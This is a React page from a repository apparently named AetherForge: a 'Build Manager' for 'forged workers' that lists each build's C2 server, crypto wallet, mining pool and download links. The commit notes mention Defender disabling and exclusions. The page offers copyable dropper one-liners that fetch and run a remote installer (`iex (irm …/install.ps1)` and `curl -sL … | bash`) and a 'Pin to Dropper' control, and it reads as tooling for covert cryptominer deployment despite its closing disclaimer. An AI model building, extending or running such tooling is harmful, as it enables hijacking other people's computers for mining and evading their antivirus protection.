Files
AetherForge/server/web/src/pages/BuildManagerPage.tsx
AetherForge 7831e70dd4 Add AV/Defender tests and clear PROBLEMS.md antivirus rows.
Cover mining diagnostics JSON blockers, AV-Safe preset fields, defender_off error paths, and Calibrate exclusion .ps1 generation with Go + Vitest; honest AV limits already documented in settingHelp.
2026-06-07 06:34:56 -07:00

459 lines
16 KiB
TypeScript
Raw Blame History

This file contains invisible Unicode characters
This file contains invisible Unicode characters that are indistinguishable to humans but may be processed differently by a computer. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
import { useCallback, useEffect, useRef, useState } from 'react';
import { useNavigate } from 'react-router-dom';
import { api } from '../api/client';
import type { BuildRecord } from '../types';
import DownloadButton from '../components/DownloadButton';
import AuthDownloadButton from '../components/AuthDownloadButton';
import { LanDownloadQR } from '../components/Fleet/LanDownloadQR';
import NeonCard from '../components/NeonCard/NeonCard';
import { HelpTip } from '../components/HelpTip';
import SacredPageHeader from '../components/Visual/sacredGeometry/SacredPageHeader';
import './BuildManagerPage.css';
// ─── helpers ─────────────────────────────────────────────────────────────────
export function truncateWallet(w: string): string {
if (!w || w.length < 12) return w || '—';
return `${w.slice(0, 6)}${w.slice(-6)}`;
}
export function truncateUrl(u: string): string {
try {
const parsed = new URL(u);
return parsed.host;
} catch {
return u.length > 30 ? u.slice(0, 28) + '…' : u;
}
}
export function fmtSize(bytes: number): string {
if (!bytes) return '—';
if (bytes >= 1024 * 1024) return `${(bytes / 1024 / 1024).toFixed(1)} MB`;
return `${(bytes / 1024).toFixed(0)} KB`;
}
function fmtDate(iso: string): string {
try {
const d = new Date(iso);
return d.toLocaleDateString(undefined, { month: 'short', day: 'numeric', year: 'numeric' }) +
' ' + d.toLocaleTimeString(undefined, { hour: '2-digit', minute: '2-digit' });
} catch {
return iso;
}
}
export function platformLabel(p?: string): string {
if (!p) return 'Win';
const m: Record<string, string> = {
windows: 'Win', linux: 'Linux', darwin: 'macOS', universal: 'Universal',
};
return m[p.toLowerCase()] ?? p;
}
export function platformColor(p?: string): string {
if (!p) return 'var(--neon-cyan)';
const m: Record<string, string> = {
windows: 'var(--neon-cyan)', linux: '#a3e635', darwin: '#f0abfc', universal: 'var(--neon-amber)',
};
return m[p.toLowerCase()] ?? '#aaa';
}
function CopyButton({ text, label }: { text: string; label: string }) {
const [copied, setCopied] = useState(false);
const copy = () => {
navigator.clipboard.writeText(text).then(() => {
setCopied(true);
setTimeout(() => setCopied(false), 1800);
});
};
return (
<button type="button" className="bm-copy-btn" onClick={copy} title={text}>
{copied ? '✓ Copied' : label}
</button>
);
}
function DeleteButton({ buildId, onDeleted, onError }: { buildId: string; onDeleted: () => void; onError: (msg: string) => void }) {
const [confirming, setConfirming] = useState(false);
const [busy, setBusy] = useState(false);
const timerRef = useRef<ReturnType<typeof setTimeout> | null>(null);
const handleClick = async () => {
if (!confirming) {
setConfirming(true);
timerRef.current = setTimeout(() => setConfirming(false), 3000);
return;
}
if (timerRef.current) clearTimeout(timerRef.current);
setBusy(true);
try {
await api.deleteBuild(buildId);
onDeleted();
} catch (e) {
onError(e instanceof Error ? e.message : 'Failed to delete build');
} finally {
setBusy(false);
setConfirming(false);
}
};
return (
<button
type="button"
className={`bm-del-btn${confirming ? ' bm-del-btn-confirm' : ''}`}
disabled={busy}
onClick={() => void handleClick()}
title="Delete this build from server"
>
{busy ? '…' : confirming ? 'Confirm delete' : 'Delete'}
</button>
);
}
function PublicButton({
buildId,
isPublic,
onToggled,
onError,
}: {
buildId: string;
isPublic: boolean;
onToggled: () => void;
onError: (msg: string) => void;
}) {
const [busy, setBusy] = useState(false);
const handleClick = async () => {
if (busy) return;
setBusy(true);
try {
await api.setBuildPublic(buildId, !isPublic);
onToggled();
} catch (e) {
onError(e instanceof Error ? e.message : 'Failed to update public flag');
} finally {
setBusy(false);
}
};
return (
<button
type="button"
className={`bm-public-btn${isPublic ? ' bm-public-btn-active' : ''}`}
disabled={busy}
onClick={() => void handleClick()}
title={isPublic ? 'Remove from login-page public builds list' : 'Expose on unauthenticated public builds API'}
>
{busy ? '…' : isPublic ? '🌐 Public' : '🌐 Mark public'}
</button>
);
}
function PinButton({
buildId,
pinned,
onPinned,
onError,
}: {
buildId: string;
pinned: boolean;
onPinned: () => void;
onError: (msg: string) => void;
}) {
const [busy, setBusy] = useState(false);
const handleClick = async () => {
if (busy) return;
setBusy(true);
try {
if (pinned) {
await api.unpinAll();
} else {
await api.pinBuild(buildId);
}
onPinned();
} catch (e) {
onError(e instanceof Error ? e.message : pinned ? 'Failed to unpin build' : 'Failed to pin build');
} finally {
setBusy(false);
}
};
return (
<button
type="button"
className={`bm-pin-btn${pinned ? ' bm-pin-btn-active' : ''}`}
disabled={busy}
onClick={handleClick}
title={pinned ? 'Unpin — dropper will serve latest build' : 'Pin — dropper will serve this build'}
>
{busy ? '…' : pinned ? '📌 Pinned to Dropper' : '📌 Pin to Dropper'}
</button>
);
}
// ─── per-build card ───────────────────────────────────────────────────────────
function BuildCard({
build,
serverBase,
onReforge,
onDeleted,
onPinned,
onActionError,
}: {
build: BuildRecord;
serverBase: string;
onReforge: (b: BuildRecord) => void;
onDeleted: () => void;
onPinned: () => void;
onActionError: (msg: string) => void;
}) {
const downloadUrl = `${window.location.origin}${api.buildDownloadUrl(build.id)}`;
const exeName = build.file_name || build.file_path?.replace(/^.*[/\\]/, '') || `worker-${build.worker_name}`;
const isUniversal = build.platform?.toLowerCase() === 'universal';
const isFusion = !!build.file_name?.includes('runner') || (build.bundle_size && build.bundle_size > 0);
const ps1 = `iex (irm '${serverBase}/install.ps1')`;
const sh = `curl -sL ${serverBase}/install.sh | bash`;
return (
<NeonCard accent={build.pinned ? 'green' : 'brass'} className={`bm-card operator-deck-card operator-interactive${build.pinned ? ' bm-card-pinned' : ''}`}>
{/* ── Pinned banner ── */}
{build.pinned && (
<div className="bm-pinned-banner">
📌 ACTIVE DROPPER <code>iex (irm '{serverBase}/install.ps1')</code> serves this build
</div>
)}
{/* ── Header row ── */}
<div className="bm-card-header">
<div className="bm-card-title">
<span className="bm-worker-name">{build.worker_name || '(unnamed)'}</span>
<span
className="bm-platform-badge"
style={{ color: platformColor(build.platform) }}
title={build.platform ?? 'windows'}
>
{platformLabel(build.platform)} <HelpTip field="bm_platform_badge" />
</span>
{build.public && <span className="bm-tag bm-tag-public">PUBLIC</span>}
{isFusion && <span className="bm-tag bm-tag-fusion">FUSION</span>}
{isUniversal && !isFusion && <span className="bm-tag bm-tag-universal">UNIVERSAL</span>}
</div>
<span className="bm-date">{fmtDate(build.created_at)}</span>
</div>
{/* ── Baked settings summary ── */}
<div className="bm-settings-grid">
<div className="bm-setting">
<span className="bm-setting-label">C2</span>
<span className="bm-setting-value mono" title={build.server_url}>{truncateUrl(build.server_url)}</span>
</div>
<div className="bm-setting">
<span className="bm-setting-label">Wallet</span>
<span className="bm-setting-value mono" title={build.wallet}>{truncateWallet(build.wallet)}</span>
</div>
<div className="bm-setting">
<span className="bm-setting-label">Pool</span>
<span className="bm-setting-value mono">
{build.pool_host || '—'}:{build.pool_port || '—'}
{build.pool_tls && <span className="bm-tls-badge"> TLS</span>}
</span>
</div>
<div className="bm-setting">
<span className="bm-setting-label">Threads</span>
<span className="bm-setting-value">{build.threads || '—'}</span>
</div>
<div className="bm-setting">
<span className="bm-setting-label">Size</span>
<span className="bm-setting-value">{fmtSize(build.bundle_size || build.file_size)}</span>
</div>
<div className="bm-setting">
<span className="bm-setting-label">File</span>
<span className="bm-setting-value mono" title={exeName}>{exeName.length > 28 ? exeName.slice(0, 26) + '…' : exeName}</span>
</div>
</div>
{/* ── Download methods ── */}
<div className="bm-downloads">
<div className="bm-downloads-label font-tech">DOWNLOAD</div>
<div className="bm-downloads-row">
<DownloadButton
apiPath={build.download_url || api.buildDownloadUrl(build.id)}
filename={exeName}
className="btn btn-primary bm-dl-btn"
>
{isUniversal ? 'Universal ZIP' : exeName}
</DownloadButton>
<AuthDownloadButton
apiPath={api.buildUninstallUrl(build.id)}
filename={`uninstall-${build.worker_name || 'worker'}.ps1`}
className="btn btn-outline bm-dl-btn"
>
Uninstall script
</AuthDownloadButton>
{build.extra_files?.map((f) => (
<DownloadButton
key={f.file_name}
apiPath={api.buildArtifactUrl(build.id, f.file_name)}
filename={f.file_name}
className="btn btn-outline bm-dl-btn"
>
{f.file_name}
</DownloadButton>
))}
</div>
</div>
{/* ── Dropper one-liners ── */}
<div className="bm-dropper">
<div className="bm-downloads-label font-tech">
{build.pinned
? 'ONE-LINER DEPLOY (serves this pinned build)'
: 'ONE-LINER DEPLOY (serves latest build)'}{' '}
<HelpTip field="bm_dropper_oneliner" />
</div>
<div className="bm-dropper-row">
<span className="bm-dropper-os">Win</span>
<code className="bm-dropper-cmd">{ps1}</code>
<CopyButton text={ps1} label="Copy" />
</div>
<div className="bm-dropper-row">
<span className="bm-dropper-os">*nix</span>
<code className="bm-dropper-cmd">{sh}</code>
<CopyButton text={sh} label="Copy" />
</div>
<div className="bm-dropper-row">
<span className="bm-dropper-os">URL</span>
<code className="bm-dropper-cmd">{downloadUrl}</code>
<CopyButton text={downloadUrl} label="Copy" />
</div>
</div>
{/* ── QR + actions ── */}
<div className="bm-card-footer">
<div className="bm-qr-wrap">
<LanDownloadQR url={downloadUrl} />
<span className="bm-qr-label">Scan to download</span>
</div>
<div className="bm-action-btns">
<span className="bm-action-hint"><PublicButton buildId={build.id} isPublic={!!build.public} onToggled={onPinned} onError={onActionError} /><HelpTip field="bm_public_build" /></span>
<span className="bm-action-hint"><PinButton buildId={build.id} pinned={!!build.pinned} onPinned={onPinned} onError={onActionError} /><HelpTip field="bm_pin_dropper" /></span>
<span className="bm-action-hint">
<button
type="button"
className="btn btn-secondary bm-reforge-btn"
onClick={() => onReforge(build)}
>
Re-forge
</button>
<HelpTip field="bm_reforge" />
</span>
<DeleteButton buildId={build.id} onDeleted={onDeleted} onError={onActionError} />
</div>
</div>
</NeonCard>
);
}
// ─── page ─────────────────────────────────────────────────────────────────────
export default function BuildManagerPage() {
const [builds, setBuilds] = useState<BuildRecord[]>([]);
const [loading, setLoading] = useState(true);
const [error, setError] = useState('');
const [serverBase, setServerBase] = useState(() => window.location.origin.replace(/\/$/, ''));
const navigate = useNavigate();
const applyServerBase = useCallback((suggestedUrl?: string) => {
const pub = suggestedUrl?.trim().replace(/\/$/, '');
setServerBase(pub || window.location.origin.replace(/\/$/, ''));
}, []);
const loadBuilds = useCallback(async () => {
try {
const [list, info] = await Promise.all([
api.listBuilds(),
api.getServerInfo().catch(() => null),
]);
setBuilds(list);
setError('');
if (info) applyServerBase(info.suggested_url);
else applyServerBase();
} catch (e) {
setError(e instanceof Error ? e.message : 'Failed to load builds');
applyServerBase();
} finally {
setLoading(false);
}
}, [applyServerBase]);
useEffect(() => { loadBuilds(); }, [loadBuilds]);
const handleReforge = useCallback((build: BuildRecord) => {
// Pass build id as query param so Forge page can pre-fill from it
navigate(`/forge?reforge=${encodeURIComponent(build.id)}`);
}, [navigate]);
return (
<div className="page fade-in bm-page operator-deck-page">
<SacredPageHeader
eyebrow="WORKER BUILDS · DEPLOY & MANAGE"
title="Build Manager"
subtitle="All forged workers — download, deploy, re-forge, or delete from any browser."
actions={
<>
<button type="button" className="btn btn-outline" onClick={loadBuilds} disabled={loading}>
{loading ? 'Loading…' : '↻ Refresh'}
</button>
<button type="button" className="btn btn-success" onClick={() => navigate('/forge')}>
New Forge
</button>
</>
}
/>
{error && (
<div className="form-error" style={{ marginBottom: '1rem' }}>
<span></span> {error}
</div>
)}
{!loading && builds.length === 0 && !error && (
<NeonCard accent="cyan" className="bm-empty">
<p className="font-tech" style={{ color: 'var(--neon-cyan)' }}>NO BUILDS YET</p>
<p className="form-hint">Head to Forge, fill in your config, and click FORGE INSTALLER.</p>
<button type="button" className="btn btn-primary" onClick={() => navigate('/forge')} style={{ marginTop: '0.75rem' }}>
Go to Forge
</button>
</NeonCard>
)}
{loading && (
<div className="bm-loading">
<span className="font-tech" style={{ color: 'var(--neon-cyan)', fontSize: '0.85rem' }}>LOADING BUILDS</span>
</div>
)}
<div className="bm-grid">
{builds.map((build) => (
<BuildCard
key={build.id}
build={build}
serverBase={serverBase}
onReforge={handleReforge}
onDeleted={loadBuilds}
onPinned={loadBuilds}
onActionError={(msg) => setError(msg)}
/>
))}
</div>
<footer style={{ marginTop: '3rem', paddingTop: '1rem', borderTop: '1px solid #333', textAlign: 'center', color: '#ff4444', fontSize: '0.85rem', fontFamily: 'monospace' }}>
DISCLAIMER: Use only on personal machines on your own network. Anything else is a crime.
</footer>
</div>
);
}